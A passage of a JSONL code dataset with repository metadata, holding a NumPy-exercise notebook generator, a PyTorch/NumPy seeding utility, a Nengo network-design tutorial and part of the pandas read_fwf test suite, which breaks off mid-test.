nb['cells'].append(nbf.v4.new_markdown_cell(HEADERS[\"jupyter_instruction\"]))\n\n    nb['cells'].append(nbf.v4.new_code_cell('import generators as ge'))\n\n    # - \u589e\u52a0\u95ee\u9898MD\u5757, \u63d0\u793a\u4ee3\u7801\u5757\uff0c\u4f5c\u4e1a\u4ee3\u7801\u5757\uff0c\u7b54\u6848\u4ee3\u7801\u5757\n    for n in range(1, 101):\n        nb['cells'].append(nbf.v4.new_markdown_cell(f'### {n}. ' + QHA[f'q{n}']))\n        nb['cells'].append(nbf.v4.new_code_cell(f'ge.hint({n})'))\n        nb['cells'].append(nbf.v4.new_code_cell(''))\n        if answer_type == 0:\n            nb['cells'].append(nbf.v4.new_code_cell(f'ge.answer({n})'))\n        else:\n            nb['cells'].append(nbf.v4.new_code_cell(QHA[f'a{n}']))\n\n    # Delete file if one with the same name is found\n    # \u5220\u9664\u540c\u540d\u6587\u4ef6\n    if os.path.exists(destination_filename):\n        os.remove(destination_filename)\n\n    # Write sequence to file\n    # \u5199\u5165\u5e8f\u5217\n    nbf.write(nb, destination_filename)\n    return\n\n'''\n    \u4ee5\u4e0b\u662f\u968f\u673a\u751f\u6210\u95ee\u9898\u6a21\u5757\n'''\n\ndef question(n = 1): # \u751f\u6210\u95ee\u9898\n    print(f'{n}. ' + QHA[f'q{n}'])\n    return\n\ndef hint(n = 1): # \u751f\u6210\u63d0\u793a\n    print(QHA[f'h{n}'])\n    return\n\ndef answer(n = 1): # \u751f\u6210\u7b54\u6848\n    print(QHA[f'a{n}'])\n    return\n\ndef pick(): # \u968f\u673a\u751f\u6210\n    id = np.random.randint(1, 100)\n    question(id)\n    return id\n\n# def create_markdown(destination_filename = '100_Numpy_exercises', with_hints = False, with_solutions = False):\n#     '''\n#         \u751f\u6210MarkDown\u7248\u672c\u7684\u5185\u5bb9\n#         \u6ca1\u6709\u505a\u4ec0\u4e48\u6539\u52a8\uff0c\u4ee3\u7801\u975e\u5e38\u76f4\u89c2\n#     '''\n#     if with_hints:\n#         destination_filename += '_with_hints'\n#     if with_solutions:\n#         destination_filename += '_with_solutions'\n\n#     # Initialise file\n#     mdfile = mdutils.MdUtils(file_name = destination_filename)\n\n#     # Add headers\n#     mdfile.write(HEADERS[\"header\"] + '\\n')\n#     mdfile.write(HEADERS[\"sub_header\"] + '\\n')\n\n#     # Add questions (and hint or answers if required)\n#     for n in range(1, 101):\n#         mdfile.new_header(title = f\"{n}. {QHA[f'q{n}']}\", level = 4)\n#         if with_hints:\n#             mdfile.write(f\"`{QHA[f'h{n}']}`\")\n#         if with_solutions:\n#             mdfile.insert_code(QHA[f'a{n}'], language = 'python')\n\n#     # Delete file if one with the same name is found\n#     if os.path.exists(destination_filename):\n#         os.remove(destination_filename)\n\n#     # Write sequence to file\n#     mdfile.create_md_file()\n#     return\n\n# def create_rst(destination_filename, with_ints = False, with_answers = False):\n#     # TODO: use rstdoc python library.\n#     #  also see possible integrations with https://github.com/rougier/numpy-100/pull/38\n#     pass\n", "meta": {"hexsha": "7be2432edd95bfae6cab3fad3a83a8525d2c4c45", "size": 4221, "ext": "py", "lang": "Python", "max_stars_repo_path": "generators.py", "max_stars_repo_name": "HolmeCat/NumPy100", "max_stars_repo_head_hexsha": "d2303f65c938ce8dbc9f3dfd4929e2a4892be37a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "generators.py", "max_issues_repo_name": "HolmeCat/NumPy100", "max_issues_repo_head_hexsha": "d2303f65c938ce8dbc9f3dfd4929e2a4892be37a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "generators.py", "max_forks_repo_name": "HolmeCat/NumPy100", "max_forks_repo_head_hexsha": "d2303f65c938ce8dbc9f3dfd4929e2a4892be37a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.7697368421, "max_line_length": 112, "alphanum_fraction": 0.5977256574, "include": true, "reason": "import numpy", "num_tokens": 1314, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38861802670584894, "lm_q2_score": 0.15817434481176185, "lm_q1q2_score": 0.06146940175623743}}
{"text": "import random\n\nimport torch\nimport numpy as np\n\n\ndef set_random_seeds(random_seed=666):\n    r\"\"\"Sets the seed for generating random numbers.\n\n    Args:\n        random_seed: Desired random seed.\n    \"\"\"\n    torch.manual_seed(random_seed)\n    # torch.cuda.manual_seed(random_seed)\n    # torch.backends.cudnn.deterministic = True\n    # # todo remove this improves performance\n    # torch.backends.cudnn.benchmark = False\n    np.random.seed(random_seed)\n    random.seed(random_seed)\n\n\"\"\"\nFrom Pytorch lightning's seed_everything\n    log.info(f\"Global seed set to {seed}\")\n    os.environ[\"PL_GLOBAL_SEED\"] = str(seed)\n    random.seed(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n\"\"\"", "meta": {"hexsha": "865b236fc8ceeeead79bf7b85d64745f00623d1c", "size": 728, "ext": "py", "lang": "Python", "max_stars_repo_path": "dvae/utils/random_seeders.py", "max_stars_repo_name": "ZijingWu381/DVAE", "max_stars_repo_head_hexsha": "1d19012bb15794a20c22f5658ca8357cebe8d89a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "dvae/utils/random_seeders.py", "max_issues_repo_name": "ZijingWu381/DVAE", "max_issues_repo_head_hexsha": "1d19012bb15794a20c22f5658ca8357cebe8d89a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dvae/utils/random_seeders.py", "max_forks_repo_name": "ZijingWu381/DVAE", "max_forks_repo_head_hexsha": "1d19012bb15794a20c22f5658ca8357cebe8d89a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.1034482759, "max_line_length": 52, "alphanum_fraction": 0.706043956, "include": true, "reason": "import numpy", "num_tokens": 169, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.06144250623015629}}
{"text": "\n# coding: utf-8\n\n# # Additional tips and tricks for designing networks\n# \n# This tutorial assumes that you have read\n# the `network_design` tutorial,\n# and have designed a network or two.\n# Here, we will give a few advanced tips and tricks\n# for designing networks that can be reused flexibly.\n# In particular, these tips will use the\n# `config` system, so we will also assume that\n# you have gone over the `config` tutorial.\n# \n# Briefly, the general principles covered\n# in this tutorial are\n# \n# 0. Accept a network argument\n# 0. Accept a config argument for groups of parameters\n# \n# We will demonstrate these principles\n# using the two examples from the `network_design` tutorial.\n\n# In[ ]:\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport nengo\nfrom nengo.dists import Choice\nfrom nengo.utils.functions import piecewise\nfrom nengo.utils.ipython import hide_input\ndef test_integrators(net):\n    with net:\n        piecewise_f = piecewise({0: 0, 0.2: 0.5, 1: 0, 2: -1, 3: 0, 4: 1, 5: 0})\n        piecewise_inp = nengo.Node(piecewise_f)\n        nengo.Connection(piecewise_inp, net.pre_integrator.input)\n        input_probe = nengo.Probe(piecewise_inp)\n        pre_probe = nengo.Probe(net.pre_integrator.ensemble, synapse=0.01)\n        post_probe = nengo.Probe(net.post_integrator.ensemble, synapse=0.01)\n    with nengo.Simulator(net) as sim:\n        sim.run(6)\n    plt.plot(sim.trange(), sim.data[input_probe], color='k')\n    plt.plot(sim.trange(), sim.data[pre_probe], color='b')\n    plt.plot(sim.trange(), sim.data[post_probe], color='g')\nhide_input()\n\n\n# ## 1. Accept a network argument\n# \n# Typically, a network-creation function\n# will take a set of arguments,\n# which affect some important parts\n# of the network.\n# When testing the network,\n# it's common to change several parameters\n# to see how they affect the network.\n# One way to do this is to add more and more\n# arguments to your function;\n# this quickly gets out of hand.\n# Instead, use the `config` system,\n# which  enables us to set\n# network-level defaults for all Nengo objects.\n# \n# You can either do this by creating your network\n# in the context of some other network,\n# or you can modify your function\n# to optionally take in a network instance,\n# which you will build your objects into.\n# \n# In the example below,\n# we change both integrators to use `LIFRate` neurons\n# by changing the `config` object\n# in the network both integrators\n# are build within.\n# We also change the `post_integrator`\n# to use a very small radius\n# by passing in a network\n# which has its default radius modified.\n\n# In[ ]:\n\ndef Integrator(n_neurons, dimensions, tau=0.1, net=None):\n    if net is None:\n        net = nengo.Network()\n    with net:\n        net.input = nengo.Node(size_in=dimensions)\n        net.ensemble = nengo.Ensemble(n_neurons, dimensions=dimensions)\n        nengo.Connection(net.ensemble, net.ensemble, synapse=tau)\n        nengo.Connection(net.input, net.ensemble,\n                         synapse=None, transform=tau)\n    return net\n\nnet = nengo.Network(label=\"Two integrators\")\nwith net:\n    # Make both integrators use LIFRate neurons\n    net.config[nengo.Ensemble].neuron_type = nengo.LIFRate()\n    net.pre_integrator = Integrator(50, 1)\n    # Lower the radius of the post_integrator\n    net.post_integrator = nengo.Network()\n    net.post_integrator.config[nengo.Ensemble].radius = 0.2\n    Integrator(50, 1, net=net.post_integrator)\n    nengo.Connection(net.pre_integrator.ensemble, net.post_integrator.input)\ntest_integrators(net)\n\n\n# ## 2. Accept a config argument for groups of parameters\n# \n# Often, you will not want to use the\n# network-level defaults for all of your objects.\n# Some objects need certain things overwritten,\n# while others need other values overwritten.\n# Again, it is possible to deal with this issue\n# by adding more and more parameters,\n# but this quickly gets out of hand.\n# Instead, add a small number of arguments\n# that optionally accept a `config` object,\n# which allows for setting multiple parameters at once.\n# \n# In the coupled integrator network example,\n# we make two connections.\n# We have to be careful changing the defaults\n# for those connections, as they are wildly different;\n# one is a recurrent connection from an ensemble to itself,\n# while the other is a connection from a node to an ensemble.\n# We will accept a `config` object for the recurrent connection\n# to make this easier.\n\n# In[ ]:\n\ndef Integrator(n_neurons, dimensions, recurrent_config=None, net=None):\n    if net is None:\n        net = nengo.Network()\n    if recurrent_config is None:\n        recurrent_config = nengo.Config(nengo.Connection)\n        recurrent_config[nengo.Connection].synapse = nengo.Lowpass(0.1)\n    with net:\n        net.input = nengo.Node(size_in=dimensions)\n        net.ensemble = nengo.Ensemble(n_neurons, dimensions=dimensions)\n        with recurrent_config:\n            nengo.Connection(net.ensemble, net.ensemble)\n            tau = nengo.Config.default(nengo.Connection, 'synapse').tau\n        nengo.Connection(net.input, net.ensemble,\n                         synapse=None, transform=tau)\n    return net\n\nnet = nengo.Network(label=\"Two integrators\")\nwith net:\n    # Make both integrators use LIFRate neurons\n    net.config[nengo.Ensemble].neuron_type = nengo.LIFRate()\n    net.pre_integrator = Integrator(50, 1)\n    # Give the post_integrator a shorter tau (should make integration fail)\n    recurrent_config = nengo.Config(nengo.Connection)\n    recurrent_config[nengo.Connection].synapse = nengo.Lowpass(0.01)\n    net.post_integrator = Integrator(50, 1, recurrent_config=recurrent_config)\n    nengo.Connection(net.pre_integrator.ensemble, net.post_integrator.input)\ntest_integrators(net)\n\n\n# ## Longer example: double integrator network\n# \n# Recall in the previous tutorial that\n# we created a model\n# that released a lever 0.6 to 1.0 seconds\n# after pressing a lever.\n# Let's use the above principles,\n# and the `config` system in general,\n# to improve the code constructing this model.\n\n# In[ ]:\n\ndef controlled_integrator(n_neurons, dimensions, recurrent_config=None, net=None):\n    if net is None:\n        net = nengo.Network()\n    if recurrent_config is None:\n        recurrent_config = nengo.Config(nengo.Connection)\n        recurrent_config[nengo.Connection].synapse = nengo.Lowpass(0.1)\n    with net:\n        net.ensemble = nengo.Ensemble(n_neurons, dimensions=dimensions + 1)\n        with recurrent_config:\n            nengo.Connection(net.ensemble, net.ensemble[:dimensions],\n                             function=lambda x: x[:-1] * (1.0 - x[-1]))\n    return net\n\ndef medial_pfc(coupling_strength, n_neurons_per_integrator=200, recurrent_config=None, tau=0.1, net=None):\n    if net is None:\n        net = nengo.Network()\n    with net:\n        recurrent_config = nengo.Config(nengo.Connection)\n        recurrent_config[nengo.Connection].synapse = nengo.Lowpass(tau)\n        net.pre = controlled_integrator(n_neurons_per_integrator, 1, recurrent_config)\n        net.post = controlled_integrator(n_neurons_per_integrator, 1, recurrent_config)\n        nengo.Connection(net.pre.ensemble[0], net.post.ensemble[0],\n                         transform=coupling_strength)\n    return net\n\ndef motor_cortex(command_threshold, n_neurons_per_command=30, ens_config=None, net=None):\n    if net is None:\n        net = nengo.Network()\n    if ens_config is None:\n        ens_config = nengo.Config(nengo.Ensemble)\n        ens_config[nengo.Ensemble].encoders = Choice([[1]])\n        ens_config[nengo.Ensemble].intercepts = Choice([command_threshold])\n    with net:\n        with ens_config:\n            net.press = nengo.Ensemble(n_neurons_per_command, dimensions=1)\n            net.release = nengo.Ensemble(n_neurons_per_command, dimensions=1)\n    return net\n\ndef double_integrator(mpfc_coupling_strength,\n                      command_threshold,\n                      press_to_pre_gain=3,\n                      press_to_post_control=-6,\n                      recurrent_tau=0.1,\n                      net=None):\n    if net is None:\n        net = nengo.Network()\n    with net:\n        net.mpfc = medial_pfc(mpfc_coupling_strength)\n        net.motor = motor_cortex(command_threshold)\n        nengo.Connection(net.motor.press, net.mpfc.pre.ensemble[0],\n                         transform=recurrent_tau * press_to_pre_gain)\n        nengo.Connection(net.motor.press, net.mpfc.post.ensemble[1],\n                         transform=press_to_post_control)\n        nengo.Connection(net.mpfc.post.ensemble[0], net.motor.release)\n    return net\n    \ndef test_doubleintegrator(net):\n    # Provide input and probe outside of network construction, for more flexibility\n    with net:\n        nengo.Connection(nengo.Node(lambda t: 1 if t < 0.2 else 0), net.motor.press)\n        pr_press = nengo.Probe(net.motor.press, synapse=0.01)\n        pr_release = nengo.Probe(net.motor.release, synapse=0.01)\n        pr_pre_int = nengo.Probe(net.mpfc.pre.ensemble[0], synapse=0.01)\n        pr_post_int = nengo.Probe(net.mpfc.post.ensemble[0], synapse=0.01)\n    with nengo.Simulator(net) as sim:\n        sim.run(1.4)\n    t = sim.trange()\n    plt.figure()\n    plt.subplot(2, 1, 1)\n    plt.plot(t, sim.data[pr_press], c='b', label=\"Press\")\n    plt.plot(t, sim.data[pr_release], c='g', label=\"Release\")\n    plt.axvspan(0, 0.2, color='b', alpha=0.3)\n    plt.axvspan(0.8, 1.2, color='g', alpha=0.3)\n    plt.xlim(right=1.4)\n    plt.legend(loc=\"best\")\n    plt.subplot(2, 1, 2)\n    plt.plot(t, sim.data[pr_pre_int], label=\"Pre Integrator\")\n    plt.plot(t, sim.data[pr_post_int], label=\"Post Integrator\")\n    plt.xlim(right=1.4)\n    plt.legend(loc=\"best\")\n\nfor coupling_strength in (0.11, 0.16, 0.21):\n    net = nengo.Network(seed=0)  # Set seed here instead\n    # Try the same network with LIFRate neurons\n    net.config[nengo.Ensemble].neuron_type = nengo.LIFRate()\n    net = double_integrator(mpfc_coupling_strength=coupling_strength,\n                            command_threshold=0.85,\n                            net = net)\n    test_doubleintegrator(net)\n\n", "meta": {"hexsha": "51f7346e050039fe3c627360dc1dd3f2c6c2323e", "size": 10040, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/network_design_advanced.py", "max_stars_repo_name": "tbekolay/nengodocs-rtd", "max_stars_repo_head_hexsha": "f57b45d14cf5ad748267d15616d6f6c11f41a165", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/network_design_advanced.py", "max_issues_repo_name": "tbekolay/nengodocs-rtd", "max_issues_repo_head_hexsha": "f57b45d14cf5ad748267d15616d6f6c11f41a165", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/network_design_advanced.py", "max_forks_repo_name": "tbekolay/nengodocs-rtd", "max_forks_repo_head_hexsha": "f57b45d14cf5ad748267d15616d6f6c11f41a165", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.320610687, "max_line_length": 106, "alphanum_fraction": 0.6927290837, "include": true, "reason": "import numpy", "num_tokens": 2525, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.414898860266261, "lm_q2_score": 0.14804719991116141, "lm_q1q2_score": 0.06142461450875217}}
{"text": "\"\"\"\nTests the 'read_fwf' function in parsers.py. This\ntest suite is independent of the others because the\nengine is set to 'python-fwf' internally.\n\"\"\"\n\nfrom datetime import datetime\nfrom io import (\n    BytesIO,\n    StringIO,\n)\nfrom pathlib import Path\n\nimport numpy as np\nimport pytest\n\nfrom pandas.errors import EmptyDataError\n\nfrom pandas import (\n    DataFrame,\n    DatetimeIndex,\n)\nimport pandas._testing as tm\n\nfrom pandas.io.parsers import (\n    read_csv,\n    read_fwf,\n)\n\n\ndef test_basic():\n    data = \"\"\"\\\nA         B            C            D\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n201160    364.136849   183.628767   11806.2\n201161    413.836124   184.375703   11916.8\n201162    502.953953   173.237159   12468.3\n\"\"\"\n    result = read_fwf(StringIO(data))\n    expected = DataFrame(\n        [\n            [201158, 360.242940, 149.910199, 11950.7],\n            [201159, 444.953632, 166.985655, 11788.4],\n            [201160, 364.136849, 183.628767, 11806.2],\n            [201161, 413.836124, 184.375703, 11916.8],\n            [201162, 502.953953, 173.237159, 12468.3],\n        ],\n        columns=[\"A\", \"B\", \"C\", \"D\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_colspecs():\n    data = \"\"\"\\\nA   B     C            D            E\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n201160    364.136849   183.628767   11806.2\n201161    413.836124   184.375703   11916.8\n201162    502.953953   173.237159   12468.3\n\"\"\"\n    colspecs = [(0, 4), (4, 8), (8, 20), (21, 33), (34, 43)]\n    result = read_fwf(StringIO(data), colspecs=colspecs)\n\n    expected = DataFrame(\n        [\n            [2011, 58, 360.242940, 149.910199, 11950.7],\n            [2011, 59, 444.953632, 166.985655, 11788.4],\n            [2011, 60, 364.136849, 183.628767, 11806.2],\n            [2011, 61, 413.836124, 184.375703, 11916.8],\n            [2011, 62, 502.953953, 173.237159, 12468.3],\n        ],\n        columns=[\"A\", \"B\", \"C\", \"D\", \"E\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_widths():\n    data = \"\"\"\\\nA    B    C            D            E\n2011 58   360.242940   149.910199   11950.7\n2011 59   444.953632   166.985655   11788.4\n2011 60   364.136849   183.628767   11806.2\n2011 61   413.836124   184.375703   11916.8\n2011 62   502.953953   173.237159   12468.3\n\"\"\"\n    result = read_fwf(StringIO(data), widths=[5, 5, 13, 13, 7])\n\n    expected = DataFrame(\n        [\n            [2011, 58, 360.242940, 149.910199, 11950.7],\n            [2011, 59, 444.953632, 166.985655, 11788.4],\n            [2011, 60, 364.136849, 183.628767, 11806.2],\n            [2011, 61, 413.836124, 184.375703, 11916.8],\n            [2011, 62, 502.953953, 173.237159, 12468.3],\n        ],\n        columns=[\"A\", \"B\", \"C\", \"D\", \"E\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_non_space_filler():\n    # From Thomas Kluyver:\n    #\n    # Apparently, some non-space filler characters can be seen, this is\n    # supported by specifying the 'delimiter' character:\n    #\n    # http://publib.boulder.ibm.com/infocenter/dmndhelp/v6r1mx/index.jsp?topic=/com.ibm.wbit.612.help.config.doc/topics/rfixwidth.html\n    data = \"\"\"\\\nA~~~~B~~~~C~~~~~~~~~~~~D~~~~~~~~~~~~E\n201158~~~~360.242940~~~149.910199~~~11950.7\n201159~~~~444.953632~~~166.985655~~~11788.4\n201160~~~~364.136849~~~183.628767~~~11806.2\n201161~~~~413.836124~~~184.375703~~~11916.8\n201162~~~~502.953953~~~173.237159~~~12468.3\n\"\"\"\n    colspecs = [(0, 4), (4, 8), (8, 20), (21, 33), (34, 43)]\n    result = read_fwf(StringIO(data), colspecs=colspecs, delimiter=\"~\")\n\n    expected = DataFrame(\n        [\n            [2011, 58, 360.242940, 149.910199, 11950.7],\n            [2011, 59, 444.953632, 166.985655, 11788.4],\n            [2011, 60, 364.136849, 183.628767, 11806.2],\n            [2011, 61, 413.836124, 184.375703, 11916.8],\n            [2011, 62, 502.953953, 173.237159, 12468.3],\n        ],\n        columns=[\"A\", \"B\", \"C\", \"D\", \"E\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_over_specified():\n    data = \"\"\"\\\nA   B     C            D            E\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n201160    364.136849   183.628767   11806.2\n201161    413.836124   184.375703   11916.8\n201162    502.953953   173.237159   12468.3\n\"\"\"\n    colspecs = [(0, 4), (4, 8), (8, 20), (21, 33), (34, 43)]\n\n    with pytest.raises(ValueError, match=\"must specify only one of\"):\n        read_fwf(StringIO(data), colspecs=colspecs, widths=[6, 10, 10, 7])\n\n\ndef test_under_specified():\n    data = \"\"\"\\\nA   B     C            D            E\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n201160    364.136849   183.628767   11806.2\n201161    413.836124   184.375703   11916.8\n201162    502.953953   173.237159   12468.3\n\"\"\"\n    with pytest.raises(ValueError, match=\"Must specify either\"):\n        read_fwf(StringIO(data), colspecs=None, widths=None)\n\n\ndef test_read_csv_compat():\n    csv_data = \"\"\"\\\nA,B,C,D,E\n2011,58,360.242940,149.910199,11950.7\n2011,59,444.953632,166.985655,11788.4\n2011,60,364.136849,183.628767,11806.2\n2011,61,413.836124,184.375703,11916.8\n2011,62,502.953953,173.237159,12468.3\n\"\"\"\n    expected = read_csv(StringIO(csv_data), engine=\"python\")\n\n    fwf_data = \"\"\"\\\nA   B     C            D            E\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n201160    364.136849   183.628767   11806.2\n201161    413.836124   184.375703   11916.8\n201162    502.953953   173.237159   12468.3\n\"\"\"\n    colspecs = [(0, 4), (4, 8), (8, 20), (21, 33), (34, 43)]\n    result = read_fwf(StringIO(fwf_data), colspecs=colspecs)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_bytes_io_input():\n    result = read_fwf(BytesIO(\"\u05e9\u05dc\u05d5\u05dd\\n\u05e9\u05dc\u05d5\u05dd\".encode()), widths=[2, 2], encoding=\"utf8\")\n    expected = DataFrame([[\"\u05e9\u05dc\", \"\u05d5\u05dd\"]], columns=[\"\u05e9\u05dc\", \"\u05d5\u05dd\"])\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_fwf_colspecs_is_list_or_tuple():\n    data = \"\"\"index,A,B,C,D\nfoo,2,3,4,5\nbar,7,8,9,10\nbaz,12,13,14,15\nqux,12,13,14,15\nfoo2,12,13,14,15\nbar2,12,13,14,15\n\"\"\"\n\n    msg = \"column specifications must be a list or tuple.+\"\n\n    with pytest.raises(TypeError, match=msg):\n        read_fwf(StringIO(data), colspecs={\"a\": 1}, delimiter=\",\")\n\n\ndef test_fwf_colspecs_is_list_or_tuple_of_two_element_tuples():\n    data = \"\"\"index,A,B,C,D\nfoo,2,3,4,5\nbar,7,8,9,10\nbaz,12,13,14,15\nqux,12,13,14,15\nfoo2,12,13,14,15\nbar2,12,13,14,15\n\"\"\"\n\n    msg = \"Each column specification must be.+\"\n\n    with pytest.raises(TypeError, match=msg):\n        read_fwf(StringIO(data), [(\"a\", 1)])\n\n\n@pytest.mark.parametrize(\n    \"colspecs,exp_data\",\n    [\n        ([(0, 3), (3, None)], [[123, 456], [456, 789]]),\n        ([(None, 3), (3, 6)], [[123, 456], [456, 789]]),\n        ([(0, None), (3, None)], [[123456, 456], [456789, 789]]),\n        ([(None, None), (3, 6)], [[123456, 456], [456789, 789]]),\n    ],\n)\ndef test_fwf_colspecs_none(colspecs, exp_data):\n    # see gh-7079\n    data = \"\"\"\\\n123456\n456789\n\"\"\"\n    expected = DataFrame(exp_data)\n\n    result = read_fwf(StringIO(data), colspecs=colspecs, header=None)\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\n    \"infer_nrows,exp_data\",\n    [\n        # infer_nrows --> colspec == [(2, 3), (5, 6)]\n        (1, [[1, 2], [3, 8]]),\n        # infer_nrows > number of rows\n        (10, [[1, 2], [123, 98]]),\n    ],\n)\ndef test_fwf_colspecs_infer_nrows(infer_nrows, exp_data):\n    # see gh-15138\n    data = \"\"\"\\\n  1  2\n123 98\n\"\"\"\n    expected = DataFrame(exp_data)\n\n    result = read_fwf(StringIO(data), infer_nrows=infer_nrows, header=None)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_fwf_regression():\n    # see gh-3594\n    #\n    # Turns out \"T060\" is parsable as a datetime slice!\n    tz_list = [1, 10, 20, 30, 60, 80, 100]\n    widths = [16] + [8] * len(tz_list)\n    names = [\"SST\"] + [f\"T{z:03d}\" for z in tz_list[1:]]\n\n    data = \"\"\"  2009164202000   9.5403  9.4105  8.6571  7.8372  6.0612  5.8843  5.5192\n2009164203000   9.5435  9.2010  8.6167  7.8176  6.0804  5.8728  5.4869\n2009164204000   9.5873  9.1326  8.4694  7.5889  6.0422  5.8526  5.4657\n2009164205000   9.5810  9.0896  8.4009  7.4652  6.0322  5.8189  5.4379\n2009164210000   9.6034  9.0897  8.3822  7.4905  6.0908  5.7904  5.4039\n\"\"\"\n\n    result = read_fwf(\n        StringIO(data),\n        index_col=0,\n        header=None,\n        names=names,\n        widths=widths,\n        parse_dates=True,\n        date_parser=lambda s: datetime.strptime(s, \"%Y%j%H%M%S\"),\n    )\n    expected = DataFrame(\n        [\n            [9.5403, 9.4105, 8.6571, 7.8372, 6.0612, 5.8843, 5.5192],\n            [9.5435, 9.2010, 8.6167, 7.8176, 6.0804, 5.8728, 5.4869],\n            [9.5873, 9.1326, 8.4694, 7.5889, 6.0422, 5.8526, 5.4657],\n            [9.5810, 9.0896, 8.4009, 7.4652, 6.0322, 5.8189, 5.4379],\n            [9.6034, 9.0897, 8.3822, 7.4905, 6.0908, 5.7904, 5.4039],\n        ],\n        index=DatetimeIndex(\n            [\n                \"2009-06-13 20:20:00\",\n                \"2009-06-13 20:30:00\",\n                \"2009-06-13 20:40:00\",\n                \"2009-06-13 20:50:00\",\n                \"2009-06-13 21:00:00\",\n            ]\n        ),\n        columns=[\"SST\", \"T010\", \"T020\", \"T030\", \"T060\", \"T080\", \"T100\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_fwf_for_uint8():\n    data = \"\"\"1421302965.213420    PRI=3 PGN=0xef00      DST=0x17 SRC=0x28    04 154 00 00 00 00 00 127\n1421302964.226776    PRI=6 PGN=0xf002               SRC=0x47    243 00 00 255 247 00 00 71\"\"\"  # noqa\n    df = read_fwf(\n        StringIO(data),\n        colspecs=[(0, 17), (25, 26), (33, 37), (49, 51), (58, 62), (63, 1000)],\n        names=[\"time\", \"pri\", \"pgn\", \"dst\", \"src\", \"data\"],\n        converters={\n            \"pgn\": lambda x: int(x, 16),\n            \"src\": lambda x: int(x, 16),\n            \"dst\": lambda x: int(x, 16),\n            \"data\": lambda x: len(x.split(\" \")),\n        },\n    )\n\n    expected = DataFrame(\n        [\n            [1421302965.213420, 3, 61184, 23, 40, 8],\n            [1421302964.226776, 6, 61442, None, 71, 8],\n        ],\n        columns=[\"time\", \"pri\", \"pgn\", \"dst\", \"src\", \"data\"],\n    )\n    expected[\"dst\"] = expected[\"dst\"].astype(object)\n    tm.assert_frame_equal(df, expected)\n\n\n@pytest.mark.parametrize(\"comment\", [\"#\", \"~\", \"!\"])\ndef test_fwf_comment(comment):\n    data = \"\"\"\\\n  1   2.   4  #hello world\n  5  NaN  10.0\n\"\"\"\n    data = data.replace(\"#\", comment)\n\n    colspecs = [(0, 3), (4, 9), (9, 25)]\n    expected = DataFrame([[1, 2.0, 4], [5, np.nan, 10.0]])\n\n    result = read_fwf(StringIO(data), colspecs=colspecs, header=None, comment=comment)\n    tm.assert_almost_equal(result, expected)\n\n\ndef test_fwf_skip_blank_lines():\n    data = \"\"\"\n\nA         B            C            D\n\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n\n\n201162    502.953953   173.237159   12468.3\n\n\"\"\"\n    result = read_fwf(StringIO(data), skip_blank_lines=True)\n    expected = DataFrame(\n        [\n            [201158, 360.242940, 149.910199, 11950.7],\n            [201159, 444.953632, 166.985655, 11788.4],\n            [201162, 502.953953, 173.237159, 12468.3],\n        ],\n        columns=[\"A\", \"B\", \"C\", \"D\"],\n    )\n    tm.assert_frame_equal(result, expected)\n\n    data = \"\"\"\\\nA         B            C            D\n201158    360.242940   149.910199   11950.7\n201159    444.953632   166.985655   11788.4\n\n\n201162    502.953953   173.237159   12468.3\n\"\"\"\n    result = read_fwf(StringIO(data), skip_blank_lines=False)\n    expected = DataFrame(\n        [\n            [201158, 360.242940, 149.910199, 11950.7],\n            [201159, 444.953632, 166.985655, 11788.4],\n            [np.nan, np.nan, np.nan, np.nan],\n            [np.nan, np.nan, np.nan, np.nan],\n            [201162, 502.953953, 173.237159, 12468.3],\n        ],\n        columns=[\"A\", \"B\", \"C\", \"D\"],\n    )\n  